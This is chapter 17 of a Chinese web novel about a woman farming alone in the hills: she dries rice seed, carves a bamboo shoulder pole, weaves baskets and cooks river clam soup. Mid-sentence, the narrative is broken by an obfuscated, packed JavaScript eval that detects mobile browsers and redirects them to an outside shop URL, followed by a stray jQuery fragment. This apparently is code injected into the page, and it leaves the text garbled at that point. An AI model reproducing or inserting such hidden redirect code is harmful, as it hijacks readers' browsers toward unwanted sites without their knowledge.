17.河蚬鲜汤
作品:《荒山安居日常》 又圆又大的竹簸箕里,金灿灿的稻种撒了满满一盘,被春日的暖阳一晒,再也不见堆在麻袋中藏在地窖里灰头土脸的样子,个个都精神饱满,吸足了太阳的热量,身上变得暖烘烘的。
黄迎春放下手里的镰刀,走到簸箕前,伸手抓了一把稻种,感受温度。
然后,一视同仁地给反面的稻种也来了一场温暖的日光浴。
之后,黄迎春回到屋檐下,继续和放在镰刀旁边的竹子做斗争。
晴好的天,不仅适合拿来晒种,还适合去地里耕种,黄迎春却难得的躲在家里的屋檐下偷闲。
并不是她犯懒,只是还没下地的稻种如今就是黄迎春的命,她生怕她一转身出门,天上的鸟雀就飞下来把她的稻种通通吃光。
索性稻种也不能晒太久,一天两三个时辰足以,黄迎春就歇了外出的心,坐在屋檐下守着院子里的稻种,给稻种翻翻面,顺便找点活干。
人只要一勤快,眼里就处处都是活。
虽然被困在院子里,而院子里的地早已翻好,划成一块又一块的菜地,菜种也都撒了下去,灌溉的水更是在今天早上太阳还没出来之前就被黄迎春一瓢接一瓢地浇到地里,但黄迎春还是给自己找到了一个活——做扁担。
黄迎春很早以前就想给自己做一条扁担。
扁担是个好东西,有了它,她每次出门提水就可以同时挑两桶水回家,把砍好的柴火带回家时也能少跑几趟。
最重要的是,扁担不比镰刀,镰刀丢出去还担心毁了刃,扁担是竹子做的,扔出去就是摔坏了黄迎春也不心疼。
下回要是遇上山鸡,她绝对不会像上次一样傻愣愣地站在原地看它跑路!
自从吃了一回山鸡蛋,黄迎春就对那嫩滑鲜香的味道着了迷。但是这种好事不是天天有的,之后几天,黄迎春每天都跑去竹林里守株待鸡,就差睡在竹林里,结果别说山鸡蛋,连根山鸡毛都没见着。
黄迎春很失望,于是竹林遭了殃。
原本茂密得仿佛一只脚都插不进去的竹林活生生被黄迎春用镰刀劈开一个缺口,随着黄迎春的失望值越来越高,竹林的缺口也越来越大。
砍掉的竹子泛滥成灾,终于把家门前的一大片野地拾掇得干干净净的黄迎春趁夜编了两只大大的敞口簸箕,决定用竹子做条扁担,在今天一口气把它们都扛回家。
门前的荒地终于被自己收拾好了,现在总算有地方可以晒柴火了。
反正竹子长得快,再怎么砍也不会灭绝。
黄迎春打算再多砍点竹子带回家,在厨房旁边用竹子搭间宽大的竹屋,专门拿来放晒好的柴火,这样以后再遇到下雨天,她就不用担心柴火被雨淋湿不能生火做饭。
有了柴房,她平日里也能多打些柴火回来,也不用担心厨房放不下。
这是一举两得的事情,只是需要花费她许多时间。黄迎春的时间很宝贵,所以,能节约时间、提高效率的工具很有必要。
只要有工具,做条扁担比编个竹筐还省工夫,偏偏黄迎春没有工具。
锯、斧、刨、凿、锤、尺,但凡这六件木作工具黄迎春手里有三样,此时也不用把背篓倒扣在地面当椅子坐。
黄迎春看了看墙角处不中用的锄头和鹤嘴锄,又瞧了瞧手里那把既当柴刀又当锯子使的镰刀,深深明白了什么叫巧妇难为无米之炊。
没别的选择了,干吧。
扁担既要结实又能承重,从选料开始就要好好琢磨。
新生的幼竹竹竿青翠,上面还带着白霜,随着竹子渐渐长大,这些白霜也会渐渐暗淡,变成黄色。三岁的竹子是黄绿色的,再长两年,竹竿的光泽会越来越弱,逐渐呈现出一种老竹独有的旧黄色。五年以上的老竹才适合拿来做扁担,竹竿的弹性不像嫩竹那般软差,竹料手感坚硬,敲击的回声都是沉闷的。
黄迎春在竹林里挑了一棵五年以上的老竹,又长又粗,光是扛回来就花了一番大力气,现在被磨破的肩头还火辣辣地疼。
不过想着一根好扁担能用七八年,若是保存得当,用上十几年也不在话下,黄迎春就没有丝毫怨言。
而且竹扁担这东西,向来只会越用越顺手。
一样的外形,没有做任何标记,但有的人一上手,就能立刻知道这是不是自家的扁担,黄迎春小时候还觉得这是一件神奇的事情,后来自己也有了日日打交道的老伙计,便明白其中的道理。
感觉,是玄之又玄的东西,多年的手感骗不了人。
挑水砍柴,以后她日日都用得上扁担,黄迎春瞥了一眼拿了十五年的鹤嘴锄,又低头望向地上的老竹。
要享用扁担的诸多好处,总得先把扁担做出来才行。
黄迎春把沉重的竹竿立起来,在和她的嘴一样高的地方用指甲划了一道深深的痕,然后拿起镰刀沿着她划的印记把竹竿劈开,尽量使缺口变得平整,接着又把竹竿一分为二,拿起其中一半取其形,一点点把多余的竹节和木刺削掉,直到它变成头窄腰宽的模样。
唯一美中不足的,便是她手边没有砂纸,也没有其他可以用来打磨的工具,只能用小刀和一些粗糙的野草一遍又一遍地擦拭,一点又一点地磨,勉强把那些十分明显的毛刺给去掉。
之后,黄迎春又拿了一根干透的树枝伸进灶膛里。
厨房的铁锅一直烧着热水,方便黄迎春随时取用,所以灶膛里的火从没熄过。
不烧饭做菜时,灶膛里的火候都很小,黄迎春拿着树枝在灶膛里放了好一会儿才拿出来。
院子里菜田旁的空地上晒着许多黄迎春开荒时打下来的草木,她走过去踢了几脚,划出一个小小的圈,利落地用树枝在地上点燃一个火堆,拿起扁担放在火上,过火提尾。
随着火苗的烘烤,新鲜的竹沥从扁担光滑的表面渗出,焦香气味不再萦绕在鼻端后,黄迎春的翘头扁担也做好了。
扁担还有另一种做法,不必过火提尾,只要削片竹片装个倒扣,绑上麻绳照样可以挑水担柴,只是黄迎春没有工具,连个楔子也做不了。
过火提尾也没什么难的,黄迎春安慰自己,反正漫山遍野都是柴火,只是要多花点气力把它们砍回家。这个火堆生了也不浪费,焚烧过后的草木灰烬刚好可以拿来肥田。菜地里撒点草木灰,还能减少病虫害呢。
黄迎春想了想,又高兴起来。
她走到太阳底下,给稻种又翻了个面,然后,拾掇拾掇剩下的竹材,该劈的劈,该分的分,该浸的浸,该晾的晾……最后,黄迎春坐在屋檐下,守着满盘金灿,熟练地用竹条编起筲箕。
筲箕和簸箕一样,也分圆口和敞口,敞口的黄迎春编的时候都会编得大只一些,带到地里当农具用。
圆口的筲箕可以拿来淘米、洗菜,主要放在厨房。
圆口的簸箕装的东西更多,通常拿来装稻种或是晾晒菜干和菌菇,这几日艳阳天,院子里的空地上到处都是黄迎春编的圆口簸箕,以及装在簸箕里的她的口粮。
前几天黄迎春不凑手,一直没空编筲箕,从山坡上采回来的野菜洗干净之后都是用圆口簸箕先装的。
说是圆口簸箕,其实也不是,那天晚上黄迎春困得直打哈欠,偏偏手里的器具还没编完不舍得睡,半明半昧间,最后就编出了一个既是簸箕又是筲箕的四不像。
现在正好有时间,黄迎春决定趁着这会儿的空闲,赶紧编一个正统的圆口筲箕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797971|190244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来,好替代厨房灶台上放着的那个残次品。
哪怕是放在厨房装菜的小筲箕,编起来也极费时间。
黄迎春收了稻种,搬了柴火,煮了饭,翻了地,还去河边担了两桶水浇到菜地里,就这么动一会儿坐一会儿,这才终于在夕阳落山之前把一个圆口的竹筲箕编好。
竹筲箕编好后,黄迎春就拿着它和一个竹篮,往河边的方向走去。
没有诱饵,沉底的箩筐捞出石头,一只河虾的踪影都看不见。好几天不见荤腥的黄迎春有点馋肉,打算去河里捞蚬子。
最适合挖河蚬的时间应当是清明至端午节前后,无论是河蚬的生长还是繁殖,这期间的速度都是最快的,河蚬的肉质也是最肥美的。
眼见清明也没几日,但黄迎春已然等不及了——她要吃肉!
黄迎春超级超级想吃肉,天天干的都是苦力活,再不给她自己弄点肉吃,保不齐她明天就饿昏在地里了。这荒山野岭的,说不定都没人给她收尸。再说了,做个饿死鬼,那多亏啊!
夕阳渐渐隐落在山坳处,河里的水也越来越冰凉,不见正午时分太阳高挂时的温柔,一副冷冰冰不近人情的模样,奈何黄迎春满腔火热,一心只想吃肉,所以河水再怎么冰凉,也浇不灭她心头的热火。
好在,这年头不比上辈子,没有污染的青山养出了好水,好水孕育出许多可吃的水生动植物,再加上这荒无人烟的地界只有黄迎春一户人家,根本没有其他人来和她抢,所以黄迎春一个筲箕下去,便挖出了大把的好东西——沙砾、泥土、石子、水草,还有黄迎春心心念念的蚬子。
自然界的动物都有保护自己的独特本领,河蚬就喜欢把自己伪装成棕黄色的土块、黄绿色的水草,或是黑褐色的石头。
不过这点伪装在黄迎春的一双利眼面前毫无用处,黄迎春一上手,河蚬们就无所遁形。
河蚬是贝壳类动物,长得像一个正三角形,美拉德色系的壳又厚又硬,黄迎春边抖边捡,捡了一篮子才恋恋不舍地离去。
空荡荡的竹篮装得满满当当,提起来都坠手。
黄迎春第一次感激她投身到这个朝代,这个没有污染河里的蚬子都长得又大又多的朝代,只要勤劳肯干,想必她一定不会在这里饿死。
为了给她的夕食添一点好滋味,黄迎春又在田边拔了几棵野葱带回家。
真奇怪,这野葱在哪里都能长,偏偏移栽到自家地里死了一大半。
黄迎春只能忍痛把干枯的野葱拔出来,精心侍弄着存活的一小半,在它们在自家菜地里茁壮生长之前不打算动一片葱叶,每回要吃野葱还是去外面找。
虽然河水十分干净,但为了避免磕牙,黄迎春还是把洗干净的河蚬放在清水里吐了许久的沙。
装着白米的竹筒冒出热气,浓郁的米香勾引着饥肠辘辘的黄迎春去木桶边宣告蚬子死期将至。
热锅凉油下河蚬,猛火爆炒至开口,之后加入切好的野葱段和姜片爆出香味,然后从木桶里舀两瓢清水倒进铁锅里,盖上木头锅盖,等水开后,黄迎春又撒了几粒盐巴,放着泛着油花的奶白色鲜汤咕噜咕噜了好一会儿,这才拿着空碗过来盛汤。
黄迎春尝了一口汤,差点被鲜掉眉毛。
要是加上白花花的嫩豆腐,那该多好吃啊!
黄迎春站在灶台旁,一边喝着河蚬鲜汤,一边拼命往簸箕里吐壳。
汤鲜肉肥,蚬子壳还能拿来做农田的肥料,河蚬真是全身都是宝。
吃饱喝足的黄迎春决定,清明至端午这段时间,她每天都要去河里挖蚬子,只要挖不腻,她就吃不腻。
黄迎春再度发出感慨:又香又甜的河蚬鲜汤,真好吃啊!

